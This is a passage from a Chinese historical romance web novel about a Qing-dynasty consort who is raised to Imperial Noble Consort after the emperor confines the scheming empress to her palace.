年芷瑶等在原地,看着儿子晃晃悠悠的扑到她怀里,心里软的不行,但还是十分无情地拒绝了他,“额娘如今可抱不动你了,让太监抱你好不好。”
八阿哥不愿意的撇了撇嘴,依然不住地叫她:“额娘,要额娘抱。”
年芷瑶不为所动,不为别的,只是这孩子实在是太过黏人,若是真抱了,那才是真的是放不下来了,她和八阿哥打着商量:“那等阿玛回来,让他抱小八好不好。”
小八思考的片刻,果断地在阿玛和额娘之间选择了阿玛,他点头:“好。”
年芷瑶揉了揉他的脑袋:“小没良心的。”
塔娜回来的时候就瞧见八弟在额娘腿上趴着,就知道他又缠着额娘了,她出声喊道:“额娘。”
年芷瑶看着一身红色骑马装,显得格外英姿飒爽的女儿,笑道:“今日玩得可好。”
今天塔娜和姐妹们约好了去马场骑马,一直玩到现下才回来。
塔娜点头:“好玩,就是五姐姐性子有些柔弱,也不怎么会骑马。”
她说的五姐姐是七爷家的女儿,在家中姐妹排行第五,是几个姐妹中最小的一个。
年芷瑶点头,她虽然担心郡主们心里有怨,可她并未拦着女儿和堂姐妹接触,还是那句话,如今在她的地盘,若是真起了冲突龌龊,对塔娜来说也是个锻炼的机会。
若是来日出了宫,受了气和委屈再学着解决,那就有些晚了。
只是她也告诫了下人,让他们好好照顾公主,不要让塔娜碰旁人递过来的东西和食物,如今看来,她们相处得倒也还好。
几位郡主虽然有些拘谨,但都并没有什么恶意,既然如此,她也愿意帮一帮她们。
她想着让郡主多适应一下蒙古的环境,别一到地方就水土不服,那不就歇菜了。
不过这事也急不来,四爷已经为几位郡主请了蒙语师傅,她再找几个蒙古嬷嬷同她们讲讲蒙古的规矩习俗,有道是不打无准备的仗,凡事多了解些,也就没那么可怕了。
她道:“那日后你若有空,也可以多邀着她们去骑马,让她们不必担心旁的,皇上那边自有我去说。
她们到底是要嫁到蒙古的,别的都不好说,先跟着强身健体总是好的。”
塔娜点头:“额娘放心,我知道的。”
年芷瑶摸了摸女儿的发,她知道塔娜是个好孩子,自从知道进宫的姐妹都是要去蒙古和亲的,她便有些难受。
她道:“这事你想做便做,不想做也不必勉强,你并不欠她们的,要欠也是大清欠她们的,你皇阿玛和我都只希望你过得快乐。”
塔娜忙道:“额娘,我知道的。”
她也不是什么圣人,若是让她替她们去蒙古和亲她定是也不愿意的,只是如今她既然得了这份好处,便也想着为几个姐妹做些什么,至少能让她们在出嫁前自在一些也是好的,总比即便是来了园子,也只能待在屋子里闷闷不乐的好。
年芷瑶见女儿心里有数,也就不再多说什么了,只是牵着女儿的手道:“快来用膳吧,我让膳房做了你爱吃的糖醋鲤鱼。”
塔娜笑着点头:“好。”
用过晚膳,年芷瑶带着女儿练字。
四爷身边的太监来报:“娘娘,皇上让奴才过来传话说,今夜要与十三爷抵足而眠,让娘娘早些休息。”
年芷瑶点头:“知道了。”
她看向塔娜:“你阿玛既不来,那今天你就和我睡吧。”
塔娜有些欣喜地道:“好,我好久没和额娘一起睡了。”
她躺在额娘身边,只觉得满是
安心,她道:“额娘,阿玛和十三叔的关系可真好啊。”
“嗯。”年芷瑶应声道:“当时你阿玛身边只有十三爷一个兄弟愿意跟着他,你阿玛自然同你十三叔关系好。”
其实当时十三爷自身都难保,还因着废太子的事被先帝训斥,要不是有着四爷帮衬着,只怕府里难过得很,可就是这么一个什么忙都帮不上的兄弟,四爷都记着他的情。
这些日子,四爷因查抄先帝老臣的事,外头人都说他寡情,可她最是清楚不过,四爷这人有多重情。
第二日,四爷过来午时,年芷瑶陪着他换了居家的衣服,问道:“十三爷可走了。”
四爷点头:“一早就回京了。”
她哼了一声,“我就知道,十三爷不走,万岁是不会过来的。”
四爷笑她:“怎么连十三的醋都吃。”
“不行吗。”年芷瑶点了点四爷的手,“我就是爱吃醋。”
“行,自然是行的。”四爷笑着揽住她,“瑶儿想怎么吃醋都成。”
年芷瑶看着四爷一副颇为享受的样子,她眯了眯眼睛,倒是有些看不懂了。
晨起,白芨轻轻叫醒了自家主子:“娘娘,该起了。”
年芷瑶睁开眼看了看时辰,“不是还早嘛。”
白芨:“不早了我的主子,今日是五福晋进园子请安的日子呢,您是长辈,不好赖床的。”
年芷瑶听到长辈儿子便瞬间捂着头起了床,让白芨快别说了,虽说按辈分来讲她是早就升级了,可五阿哥也又不是她生的,她家小八还不会跑呢,她可不是谁的长辈。
“我起就是了,让人给我梳妆吧。”
白芨笑道:“是。”她对着外头招了招手,小宫女端着各类用品鱼贯而入,伺候着她梳妆洗漱。
年芷瑶将手放进鲜花汁子里浸着,如今两位阿哥都已大婚,四阿哥前些日子就带着福晋来过了。
她记得四爷当日同四阿哥谈了不少时间,四福晋便留下来陪她用了膳,想到当时四福晋不自在的样子,年芷瑶就忍不住摇了摇头。
她看向五福晋:“别光喝茶,尝尝这点心如何。”
五福晋扬起嘴角:“是,儿媳虽不懂茶,可以一闻便知贵妃娘娘这儿的茶是好茶。”她又吃了一口点心,跟着瞪大了眼睛:“点心也好吃得很。”
年芷瑶被她逗笑了,五福晋瞧着小小巧巧的,笑起来还有两个酒窝,只论长相的话,倒是比四福晋更有眼缘一些。
她对白芨道:“让小厨房多做些点心,一会儿五福晋走的时候给她带上。”
白芨:“是。”
五福晋连忙起身:“不敢拿娘娘的东西,儿臣在贵妃娘娘这尝尝就算了,若是再带走,若是阿哥知道了定是要怪我的。”
年芷瑶摆了摆手:“这有什么,你家五爷小时候可没少在我这连吃带拿的,你只管带回去吃,就说是我给的,他自然不敢说你。”
五福晋惊讶地看了过来,像是在说还有这回事,表情生动有趣。
五福晋不好意思地笑笑:“阿哥昨日就同我说娘娘十分和善,让我不必紧张,如今一看果然不假。”
贵妃不止是和善,还好看极了,她在家中时就听说过贵妃的名号,说是从在潜邸伴驾时盛宠不衰,当时她还在想贵妃该美成什么样才能让万岁宠爱那么多年,如今见了贵妃,她算明白了,贵妃就应该是这样的。
年芷瑶看着她一副小孩子模样,倒是真有一种看小辈的感觉。
与五福晋喝过一盏茶,她瞧见了门外来了人,是四爷身边传话的小太监,想来是四爷那边完事了。
她道:“你们一会儿还要去给太后娘娘请安,我就不留你们了,太后娘娘也是个和善的人,你到那不必紧张,自然而然的便好。”
“是,多谢贵妃娘娘提点。”五福晋露出感激地笑。
白芨送走五福晋后过来回话,“娘娘,点心匣子奴婢已经给五福晋装上了,还让个小太监跟着送了过去。”
年芷瑶点了点头。
晚间时,四爷过来,看她一眼后便接着问道:“同弘昼的福晋聊得不错。”
年芷瑶有些惊讶:“爷怎么知道的。”她还什么都没说呀。
四爷笑笑:“上次四福晋过来请安的时候,你可没这般轻松。”
年芷瑶不置可否,好吧,她知道四爷心细,可也没想到能细成这样,她道:“我瞧着五福晋是个不错的孩子,弘昼倒是个有福的。”
四爷开口道:“傻人有傻福。”
年芷瑶笑着戳了戳他的胸口:“哪有人这样说自己孩子的。”
四爷改口道:“弘昼虽然傻了些,但是个好孩子。”
年芷瑶无语地白了他一眼,这话也不怎么好听好不好。
第87章 第87章封宫
今日弘昭和弘晏休息,几个孩子都去校场玩了,唯独留她这一个老母亲守在院子里,年芷瑶百无聊赖地翻着书,想着要不要叫个说书的过来解解闷。
白芨神色匆匆地过来同她传话。
年芷瑶抬头看她:“万岁回宫了?什么时候。”
白芨摇了摇头:“九州清晏的太监方才刚过来传的消息,说是万岁回宫一趟,让他过来同您说一声,旁的什么都没说。
晨起时奴婢瞧着万岁没什么不对,还是照常去了九州清晏。”
她记得清楚,当时还是她将万岁送出的门呢。
白芨皱了皱眉:“娘娘,您说万岁是为什么回宫啊。”
年芷瑶老神在在地道:“总不是回去废后的。”
“娘娘,您怎么还有心思开玩笑啊。”万岁去得匆匆,只派了小太监来传话,这可是从来没有过的事呀。
年芷瑶笑笑:“好白芨,万岁回宫自有他的道理,即便我再着急,也不能冲回宫里去问万岁呀。”
她拉着身边人坐下:“不若咱们等等,左右万岁总是会回来的。”
四爷站在景仁宫门口。
苏培盛静静候在一旁,眼观鼻,鼻观心,一动不动地站着,只当自己不存在,万岁在这景仁宫的门口已经站了有一会儿了,到底是进不进呀,他着实是看不懂了。
今儿个一早万岁还好好的,到了九州清晏看过折子后神情便有些不对,而后更是传话让人直接回宫,连贵妃那也是派了小太监过去回话,倒是有些不寻常了。
只是回宫就回宫,万岁来了景仁宫是怎么个意思,难不成皇后要翻身了,苏培盛摇了摇头,想也知道是不可能的事。
不知过了多久,景仁宫的太监终于发现了四爷的存在,宫女太监慌慌张张的跪了一地,只见一个小宫女慌忙地跑向正屋,想来是去给皇后传话去了。
苏培盛在心里摇头,这些人的规矩都是谁教的啊,这般没规矩,若是在他手底下做事,早就不知被赶出去多少回了。
其实这也不怪景仁宫的宫女太监不知规矩,自打皇后进了宫之后,皇上就没踏进过景仁宫的大门,如今他们头一次见皇上来看望他们娘娘,可不就得兵荒马乱一阵子吗。
说起来宫人刚分到皇后宫中伺候的时候,众人还有些欣喜在身上的,皇后虽是无子,可到底是中宫皇后,日后一个太后的位置是少不了的,他们尽心伺候,总能有个好前程。
谁知皇后虽是皇后,却不像是先帝爷的皇后,而是像了世祖爷的皇后,万岁登基这几年,是真的对皇后不闻不问啊,连六宫之权都落在了贵妃手里。
连皇后都要在贵妃手底下讨饭吃,更何况他们这些伺候的人呢,几年待下来,他们是一点心气都没了。
小宫女气喘吁吁地进了皇后的屋子。
福嬷嬷看她这副样子,开口训斥道:“做什么,慌里慌张的像什么样子。”
小宫女跪了下来:“皇后娘娘恕罪,是皇,皇上来了,现下就在景仁宫外头呢。”
皇后站了起来,“皇上来了,你没看错。”
小宫女点头:“奴婢不敢欺瞒娘娘。”
福嬷嬷欣喜若狂,“娘娘,皇上来看您来了。”
皇后瞧见自家奶嬷嬷高兴的样子,自己倒是冷静了一些,“皇上突然过来,是来做什么的呢。”
福嬷嬷:“这,奴婢不知。”
此时,福嬷嬷高兴到了极点,在她看来,皇上只要肯来看娘娘,这事就一定有转机,都说一日夫妻百日恩,皇上与
娘娘结发多年,还生下了弘晖阿哥,说不得这次皇上就是想起娘娘的好来了。
说话间,四爷已经走了进来。
皇后连忙上前请安。
四爷大步进来,坐在椅子上,“起来吧。”
福嬷嬷连忙挥退了小宫女,亲自去给了两位主子上了茶。
四爷看向坐在另一边的皇后,她是皇阿玛为他赐下的结发妻子,他们年少时便成了婚,虽不算情投意合,可也未尝没有相得的日子。
成婚后,皇后为他生下了弘晖,那是他的嫡长子,他带他骑马射箭,教他读书写字,对他寄予厚望,可谁知那个孩子都已经长到八岁了,却还是没了。
他怜皇后失子之痛,便对她越发尊重,可她却仗着自己给她的权利,谋害他的阿哥。
他看着眼前的皇后,却发现自己从未看清过她,皇后年轻时便是这样的吗,还是时间变却故人心。
他本念着早逝的弘晖和皇阿玛的赐婚,依旧让她做了皇后,可她却不知悔改,竟敢伙同弘历,同朝中大臣暗地来往。
皇后接过福嬷嬷递来的茶盏,放在四爷身边,她不错眼地看着四爷,细想起来,她已经许久未见四爷了。
先帝孝期过后,四爷便带着年氏去了圆明园,仿佛那里才是他们的家,他这个皇后不过就是个先帝赐下,只能留在宫里的摆设罢了。
四爷看着皇后,冷声道:“皇后,你可知罪。”
皇后心中一颤,只身跪了下来,“臣妾不知何罪之有,望万岁明鉴。”
四爷:“你结党营私,妄议太子之位,还不是大罪吗。”
皇后听见四爷这样说,她微微抬头,“皇上这话是从何说起。”
福嬷嬷听见屋子里声音不对,想冲进去看皇后,却被苏培盛一把拉住了,“嬷嬷,主子们在里头说话,咱们做奴才的,怎么能进去呢。”
福嬷嬷回头一看,只见满院子的人都已经被绑了起来,她瞬间瘫坐在地。
“朕都派人查清楚了,你难道还想抵赖不成。”
四爷将手里的折子扔了过去,“乌拉那拉氏的人已经招了,你还有什么好说的。”
皇后看着手里的折子,握紧拳头,“万岁是什么时候知道的。”
四爷:“你敢做出这等事,难道还当朕不会发现不成。”
皇后跪坐在地,“既然皇上都已经知道了,那臣妾还有什么好说的。”
四爷冷眼看她:“朕不明白,朕已经给了你皇后的位份,你还有什么不满的,即便不掺和夺嫡之事,日后你也能做上太后的位置,为何还要蛊惑弘历,让他去争夺太子之位。”
皇后呵呵一笑:“万岁是以为封我为皇后,我就该对您,对年氏感恩戴德了吗。
我的弘晖早就没了,就算做了太后,我这太后当的有什么意思,让我看着年氏的阿哥做上皇位,日后仰仗她的鼻息过活吗。
自年氏进府,您就对年氏另眼相看,我知道您是喜欢她,可当初您也喜欢李氏,喜欢别人,可您为什么只对年氏动了真情。
你带着贵妃去圆明园,年氏在你身边宛如一个真正的妻子,做着我应该做的事,我这个皇后在您眼里又算得了什么。
你的眼里只有贵妃和她的孩子,那我们的弘晖呢,万岁还记得他长什么样吗。”
四爷用力摔碎了茶盏,“若不是记着早夭的弘晖,你以为你现在还能坐在皇后的位置上吗。”
她仰头看着四爷,“万岁这是想废了我。”
四爷嫌恶地看着她:“你心肠歹毒,谋害阿哥,朕为何不能废了你。”
皇后笑得疯狂,“万岁果然记着我谋害六阿哥之事,可李氏的阿哥害了我的弘晖呢,万岁怎么不为他报仇。”
四爷皱眉看她:“弘晖是因病早夭,和李氏有什么关系。”
皇后大声喊道:“她的弘时刚生人,我的弘晖就没了,若不是她,我的弘晖怎么会生病,她以为弘时成了长子,就能坐上太子之位了吗,她作梦,太子只能是我的弘晖的。”
“皇后,你这是疯了。”
四爷看着状若疯癫的皇后,拂袖而去,他看着跪在院子里的宫女太监,开口道:“将这些人都送走,换几个嘴严的老人伺候皇后,日后没朕的吩咐,谁都不能进出景仁宫。”
苏培盛低头:“是。”
等年芷瑶收到皇后封宫的消息,还有些不可置信,“什么时候的事。”
白芨:“咱们的人传来消息,说自从上次万岁去过景仁宫后,万岁便下了旨意,说是每日除了膳房的人之外,其余人都不得进出景仁宫。”
年芷瑶不由得起身道:“陪我去一趟九州清晏。”
白芨扶住主子:“娘娘,咱们真要过去吗。”
皇后被不被封的,说到底和她们没有什么关系,想来是因为皇后惹怒了万岁,万岁才会如此,若是万岁还在生气,主子过去被迁怒了怎么办。
年芷瑶:“放心,我只是去看看。”
四爷不喜欢皇后也不是一日两日了,可突然封宫,皇后定是在背后做了什么才是,说不得就和她有关,不将事情弄清楚她也坐不住。
四爷看她匆忙过来,先是一笑,而后说道:“你知道了。”
年芷瑶埋怨地看他一眼,“若不是有人传信给我,即便是等外头人都知道了,爷想来也不来告诉我的。”
她也不避讳自己在宫里有眼目的事,她统管六宫多年,若是说手里没人,只怕是说出去也没人信的。
四爷解释道:“朕是不知道怎么给你说。”
年芷瑶看着四爷,“皇后到底是皇后,是一国之母,您封了景仁宫,若是让外头知道了,只怕是不好听啊。”
四爷:“无妨,朕已经放出消息说,皇后病了,需避宫休养。”
年芷瑶无奈看他,不知道四爷到底想将皇后病了这个借口,用到何时。
她握住四爷的手:“爷告诉我实话,皇后到底是怎么了。”
四爷带着她坐下:“皇后母家乌拉那拉氏同钮祜禄氏一起勾结朝臣,为四阿哥铺路,只怕是想效仿老八的贤王名声,逼朕册立太子。”
年芷瑶颇为震惊,她喃喃自语:“皇后是疯了不成。”
八爷都去守皇陵了,不论是在先帝还是在四爷这都没讨到什么好,皇后凭什么以为,有几个朝臣的支持就能逼四爷立弘历当太子。
四爷开口道:“朕查到,皇后开始收买膳房的人了。”
年芷瑶抖了抖身子,“皇后,怎么敢的。”
四爷捏住她的手:“别担心,没人敢冒着掉脑袋的风险为皇后做事。”
年芷瑶觉得浑身一冷,连忙坐得离四爷近了些,“我怎么能不担心,万一呢。”
自古财帛利益动人心,再是杀头大罪,也有利欲熏心之辈不顾性命,万一皇后真的成功收买了宫人,对四爷下了手,只要四爷意识不清。
她身为中宫皇后,如今太子又尚未册立,四阿哥年长,说不得真能让皇后得逞也说不定。
年芷瑶突然想到什么,她抬头问四爷:“万岁前两个月突然说要来园子里,就是发现皇后的动作了吗。”
四爷看她被吓到,轻抚着她的后背安慰
她道:“别怕,事情还没到如此地步,当时十三已经派人盯着乌拉那拉氏了,过来园子里也只是为了以防万一。”
宫里到现在还有未出宫的太妃,还有些历经三朝的老人,人员复杂,不是一时能够理清的,不比园子里干净。
年芷瑶呼了一口气,她本以为皇后同钮祜禄氏走得近,不过是想下注四阿哥罢了,谁知皇后竟如此胆大,生平第一次,她觉得自己有些看不懂皇后了。
皇后早就看清了四爷不会立四阿哥为太子,选择了奋力一搏,她也不是不能理解。
可四阿哥不是她生的啊,就算将来四阿哥登上帝位,皇后依然只能做个太后,为何如此费事为四阿哥铺路呢,四阿哥又不是没有自己的额娘。
四爷看出她心中的疑惑,轻轻拍了拍她:“皇后怕是有些疯了。”
年芷瑶眨了眨眼,明白过来,皇后竟如此恨她吗,为了不让她的弘昭被立,连乌拉那拉氏都不顾了吗。
“那四阿哥和钮祜禄氏呢,万岁准备如何处置。”
四爷沉声道:“先等等。”
皇后的位置太过重要,将她封在景仁宫已是极限,若是四阿哥和钮祜禄氏再出事,只怕是朝堂不稳,对瑶儿和弘昭来说,也并不是一件好事。
年芷瑶微微点头,她心里也是这个意思,康熙末年因立储一事而在朝堂上引起的风云诡谲,她是不想再经历一次了,如今四爷既已知道弘历的野心,那四阿哥和钮祜禄氏也翻不起什么风浪了。
以四爷的性子,弘历既与皇后勾结,即便弘历不知皇后收买宫人的打算,想来日后他也不会再有什么机会前途了。
四爷道:“朕不准备让皇后再出来了,如今皇后病重,朕准备封你为皇贵妃,掌管凤印。”
年芷瑶张了张嘴,想了半天,最后还是点了点头,她虽不贪图皇贵妃的位份,可有凤印在手里,若是将来真有个什么万一,她也能有一争之力。
想来四爷也是想着这一点才决定封她为皇贵妃的,她握着四爷的手,眼里泛着柔光,既然这是他想给她的,那她便收下来。
九爷听见消息,有些惊讶地看着十爷,“皇后病了?”
十爷点头。
九爷:“可皇后不是早病了吗,听说连宫务都不堪重负,这才托付给了贵妃。”不论皇后是真病假病,反正宫里都是这么传的。
十爷看他:“这次皇后是真病了,前些日子,乌拉那拉家的人进宫去给皇后请安,说是连景仁宫的门都进不去了。”
前段时间钮祜禄氏的一些族人便动作频频,他虽没跟着掺和进去,但也得了消息,如今皇后出事,想来与这事也有些关系。
九爷瞪大眼睛,他指了指上头,“这是被封了。”
皇后与贵妃的事,他们这些离得近的都心照不宣,说什么皇后病了,也就是骗骗外头不知情的人罢了,他们谁不知道咱们这位万岁与皇后不合已久。
当初皇上登基,都是最后才接的皇后进宫,想来封后都是封得不甘不愿。
十爷讳莫如深地点头,虽说皇后这事如今只是一层窗户纸了,可一来万岁没说要废后,二来中宫无子,牵扯不到别的,只要没人跳出来说皇上不尊发妻,也算是风平浪静。
他的这位四哥最是爱憎分明,贵妃是他的心头好,若是四阿哥是个天纵之才,说不得四哥还能为着大清国祚考虑考虑,可弘昭也是个聪明孩子,想也知道四哥会选哪个了。
有点脑子的就知道将来太子之位定是贵妃的孩子,没见三阿哥被圈之后,朝堂上连立太子的争议都少了些吗。
十爷给自家九哥倒了杯酒,两人碰了个杯,一切尽在不言中,到如今,身边能有个知心的兄弟能在一块喝酒,已是幸事了。
第88章 第88章皇贵妃
“贵妃年氏,秉性柔嘉,持躬淑慎,事朕克尽诚,恭谨孝顺,驭下宽厚和平,鞠育众子。兹尊承皇太后慈谕,以金册金宝,晋封尔为皇贵妃。”
礼部尚书收起圣旨,躬身道:“娘娘,接旨吧。”
年芷瑶叩首,“臣妾叩谢皇上圣恩。”
白芨扶着主子起身,十分欣喜地道:“娘娘,万岁封您为皇贵妃了。”
皇贵妃可位同副后,主子又有万岁的信重和子嗣,就是与皇后相比,怕是也不差什么了。
年芷瑶点了点头,她将圣旨递给白芨,“嗯,这是件喜事,给院子里的人都多发两个月的月钱吧。”
白芨笑道:“是。”
看白芨下去安排了,年芷瑶便起身回了屋,封皇贵妃的事她和四爷已经商量好了,可旨意下来,她却发现自己没有多少开心的情绪。
午膳时,白芨过来回禀:“娘娘,万岁派人赐了宴过来。”
年芷瑶理了理裙摆,“摆进来吧。”
一群小太监端着各式菜色鱼贯而入,这些菜品都是带着红签字的,代表着这些都有名有姓的大厨做的,上面还有御厨的名字。
想来是四爷特意嘱咐的,知道这都是四爷的心意,即便是没什么胃口,年芷瑶也都挨个尝了尝,吃到了平日里的七分饱,便放下了筷子。
白芨见着主子这般,心里便有些担心,封了皇贵妃,主子不高兴吗。
四爷回来杏花春馆,见满院子的人都是喜气洋洋的,唯有瑶儿自身笑容浅淡。
他问道:“怎么,不高兴吗?”
年芷瑶摇头:“倒也不是。”
四爷注视着她,“怎么不与朕说实话。”
年芷瑶靠在他身上,“我只是觉得心里空落落的,有些害怕。”
被封了皇贵妃,她应该是开心的,可真到这一日,她又觉得脚底下没踩在实处,让人心里不踏实。
四爷揉搓着她的手,“别怕,天塌下来也有朕给你顶着呢,你只管站在前头,朕想让你到身边陪着朕。”
年芷瑶看着四爷望着她的眼神,里面满是认真期待,像是在说你只管过来,别的一概不用操心,外头也并没有什么风雨,她忍不住对着四爷点了头。
她握住四爷的手,“我相信爷。”
四爷笑了:“可见过两个孩子了。”
今日是她的好日子,四爷特意让弘昭弘晏休了半天假,让他们过来同她请安。
想到儿子,年芷瑶笑了起来:“见过了,还同我道喜呢。”
看瑶儿脸上终于露出了笑,四爷索性将她揽在怀里,“放心,凡事都有朕在呢。”
年芷瑶点头,“我知道。”
她知道四爷什么都会给她办好,她就是还有些不适应,不过,她看着四爷的笑眼,应该很快就能适应的吧,她想。
自从她被封皇贵妃后,不少人都递了牌子想进来给她请安道喜,每次来到她宫里,各家夫人面上都笑得真情实感,仿佛她封皇贵妃,于她们是天大的喜事一般。
更有恭维奉承的,实在让年芷瑶不堪其扰,便推说自己身子不适,把请见的牌子都给停了。
四爷知道后笑了她半天。
景仁宫
皇后听见外头传来的动静,她看向屋子里站着的老嬷嬷,这是四爷派过来看着她的,平日里衣食起居时刻都不离她身边。
皇后自嘲一笑,如今她身边的人都被苏培盛带走了,她还能做什么呢,难道皇上是怕她去亲手害了年氏不成。
她开口说话,嗓音低哑:“今日是什么日子,外头怎么这么热闹。”
嬷嬷看她一眼,回道:“回皇后娘娘,今日皇上下了旨,封贵妃娘娘封皇贵妃,想来外头正在晓谕六宫吧。”
皇后快步向她走来:“你再说一遍,皇上封了谁为皇贵妃。”
嬷嬷没被皇后的神情吓到,而是语气平稳地又将此事重复一遍:“皇上封贵妃娘娘封皇贵妃,摄六宫事。”
皇后大笑起来,“皇贵妃,皇贵妃,皇上,我还没死呢,你封年氏做皇贵妃,是想咒我早死吗,皇上,你好狠的心啊。”
四爷是巴不得让她给年氏让位吧,不,她不愿意,她是皇后,是先帝赐婚的嫡福晋,只要她不死,万岁就不能废后。
嬷嬷看着皇后神色癫狂,不慌不忙的后退了两步,万岁让她看紧皇后,除了不能和外界接触之外,一切都随她。
故而,她也没管皇后的叫喊。
年芷瑶被封皇贵妃的第二天,便去了畅春园给太后请安,既然四爷说她赤诚至孝,那她也得做出个表率来不是。
好在太后也不嫌她,她说要过去请安,太后便立刻让她过来了。
年芷瑶看着太后身边的福嬷嬷,寒暄道:“嬷嬷伺候太后多年,可依然神采依旧。”
福嬷嬷:“娘娘说笑了,娘娘才是光彩照人,娘娘如今被封皇贵妃,老奴在这给娘娘道喜了。”
年芷瑶笑笑:“嬷嬷也客气了。”
太后见了她进来,开口便是:“我倒是谁呢,原来是皇贵妃来了啊。”
年芷瑶无奈对太后行了个福礼,“皇额娘怎么也笑话我。”
如今太后日子过得顺心,人也越发促狭起来了,往日也没怎么叫过她,今日开口便叫她皇贵妃,真是应了那句老小孩,越老越顽皮起来了。
太后笑道:“好了,哀家不打趣了你了,快坐过来吧。”
年芷瑶笑着坐在了太后旁边。
太后:“如今你既做了皇贵妃,皇帝那想来也能放心许多。”
她虽不知皇后具体做了什么,可能让老四封了景仁宫,又分封皇贵妃,想来皇后犯的不是什么小事。
想到皇后,太后不禁摇了摇头,皇后这人,年轻时看着也还好啊,怎么如今是越活越回去了。
年芷瑶低头:“万岁事事替臣妾考虑,臣妾着实无以为报。”
太后笑笑:“你能替皇帝考虑,皇帝又替你考虑,这样就很好,皇帝身边有你陪着,哀家也就放心了。”
年芷瑶陪太后说了会子话,眼看着就要到用膳的时辰了,太后宫里的人来报,说是四爷过来了。
她惊讶回头看去,她记得自己晨起时便让小宫女去给四爷说,她今日要留在畅春园陪太后用午膳,怎么四爷如今却赶了过来。
四爷拱手向太后行礼:“儿子给皇额娘请安。”
太后笑了,“快起来吧,我知道你想皇贵妃,可皇帝也不必追得这么紧吧,这是怕我将你的皇贵妃给吃了吗。”
四爷:“皇额娘说笑了,儿子是想着许久未来给皇额娘请安了,这才想着来见一见皇额娘。”
太后点了点他:“好,是想哀家了,坐吧。”
四爷笑笑,自己走到瑶儿的身边坐了下来。
年芷瑶对四爷低声道:“万岁怎么过来了。”
四爷也学着她的模样低声回她:“想你了。”
年芷瑶想瞪他,又顾忌着这是在太后宫里,生生给忍住了。
太后笑着和福嬷嬷对视一眼,笑道:“快摆饭吧,再看一眼你们这恩爱的模样,哀家可就真吃不下饭了。”
年芷瑶忙推了推四爷,让他离远一些。
午膳摆在了侧间,年芷瑶站起身来,“儿臣服侍皇额娘用饭吧。”
说起来,太后从来不是个爱难为人的婆婆,四爷登基这几年,她虽时常来给太后请安,可却从没真正地伺候过太后,如今她刚封皇贵妃,倒是想着要不要表现一番。
太后拍了拍她:“不用你,快坐下吃吧。”
四爷拉她坐下,“皇额娘慈爱,不会在意这些的,快吃饭吧。”
年芷瑶没忍住瞪他一眼,太后还在呢。
四爷恍若未闻,给她夹了一筷子软炸虾仁,“快吃吧。”
看着四爷油盐不进的样子,年芷瑶着实有些无奈,只能低头吃菜。
四爷看着她笑了笑。
从贵妃晋到皇贵妃,说实在的其实和往日没什么不同,六宫之事她管了这么多年,早就上手了,不光是她上手,塔娜也早就上手了,管人管事一应都会。
唯一区别的是手里多了个凤印,只是平日里她也用不大着,最常用的还是四爷之前给她刻的贵妃小印,左右这宫里也没别的贵妃了,这印一刻上去便知道是谁。
除了她被封了皇贵妃,四爷还提了耿氏和李氏的位份,将她们都封了妃,钮祜禄氏没动,仍旧是嫔位。
白芍撇了撇嘴,“裕嫔娘娘封妃也就算了,可齐嫔怎么也封了妃。”
她可还记得在潜邸时李氏为难她们主子的样子呢。
年芷瑶摇着扇子,“李氏到底是从格格起便跟在万岁身边的,宫里人拜高踩低的,三阿哥又被圈在府里,万岁想给她个妃位傍身也是件常事。”
白芨将膳房送来的冰镇西瓜放在一旁,点了点头,“奴婢倒觉得,这不是件坏事,至少说明咱们万岁爷是个顾念情分的。”
主子有情,总比无情来得要好一些。
白芍:“道理奴婢知道,可奴婢就是看她不痛快。”
年芷瑶点了点她的额头,“快别说了,你去看看小八午睡醒了吗,若是醒了就抱过来给我看看。”
白芍:“是。”
年芷瑶看着白芨:“额娘进园子的事可安排好了。”
白芨:“娘娘放心,奴婢早就吩咐下去了。”
年芷瑶点头,“那就好。”
次日晌午,年芷瑶看着来园子里看她的额娘,连忙笑着迎了过去:“额娘。”
年夫人见着女儿也十分高兴,她握住女儿的手,可第一句话却不是如旁人那般的道喜,而是问她:“我听说皇后娘娘病了?”
年芷瑶看着额娘,缓缓收起了笑容,点头道:“是。”
皇后这次是真病了,在知道四爷封了她为皇贵妃之后,皇后就病重了,先是胡言乱语,而后是梦魇,怎么都睡不好。
长期睡不着觉,再健康的人也熬不住,更何况皇后的身子本来就不怎么好。
四爷听到传信后派了太医去看皇后,太医过来回话说,皇后怕是不大好了。
年芷瑶听后有些莫名的惆怅,她倒不是可怜皇后,只是事到如今,她心里总是有些不是滋味。
知女莫若母,年夫人一见女儿的神色便知道她在想什么,她开口道:“皇后几次三番的为难你,和圣上作对,如今落得这番地步也是她应得的,你不要想太多了,更不要难为自己。”
年芷瑶靠在额娘身上,缓缓地点了点头,无论长到多大,只要额娘在她身边,她就会觉得心安,因为她知道,额娘是全心全意为着她的。
她开口道:“额娘,你说皇后是真的喜欢万岁吗。”
喜欢到不愿见旁人拥有四爷,这才做下错事。
年夫人皱眉:“什么真心不真心的,我看她不过是利欲熏心,自己骗自己罢了,难道凡事给自己披上一层真心的外衣,就能做伤天害理的事了,简直是不可理喻。”
她按着女儿坐了下来,“若你是皇后,你可会这般行事。”
年芷瑶摇了摇头,若她是皇后,即便是再爱四爷,也不会这般放纵自己。
年夫人:“那不就是了,不说旁的,先前的五福晋,七福晋都没有自己
的亲生子,难道这日子就不过了吗,皇后自己做的孽,自该自己来还,这事和你没有干系,你不要往心里头去。”
她拍了拍女儿的手:“万岁如今封你做了皇贵妃,是心里头有你,这是件好事,可君恩难测,额娘觉得凡事还是要留些余地的好。
有时候,夫妻之间,感情太过炽热,也不见得是件好事。”
年夫人叹息,她也不愿意泼女儿冷水,如今外头人人都说,万岁待贵妃情深义重,可她听了却只觉得担心,万岁和女儿感情深厚她自然高兴。
可万岁这般性子,相爱时自然愿意将人宠上天去,不爱时怕也莫测的很,女儿还有三个阿哥,实在不能有半点闪失。
年芷瑶点头,“我知道的额娘。”
她喜欢四爷,可她的生命中不只有四爷,她还有她的孩子们,有年家,有额娘,这些都是她的软肋,也是拉着她的缰绳。
四爷对她的好她知道,她只能尽力受着,尽力回报,若是有一天四爷不爱她了,那她也只能接受,她还有这么多的孩子,实在不能像皇后那般孤注一掷,她赌不起。
晚间,四爷回来后见她脸色不好,以为她是不舍得年夫人走,便开口道:“若是舍不得,不如让年夫人在园子里多住两日,也好陪陪你。”
年芷瑶笑笑,“不了,府上还有不少事呢,如今我那侄子快娶亲了,额娘回去还有的忙呢。”
想到成婚的侄子,年芷瑶皱了皱脸,这都不是她一个成婚的侄子了,大侄子的孩子都老大了,按年家这边的人来算,她都做人家姑奶奶好多年了。
她看向四爷:“爷,你看我是不是老了。”
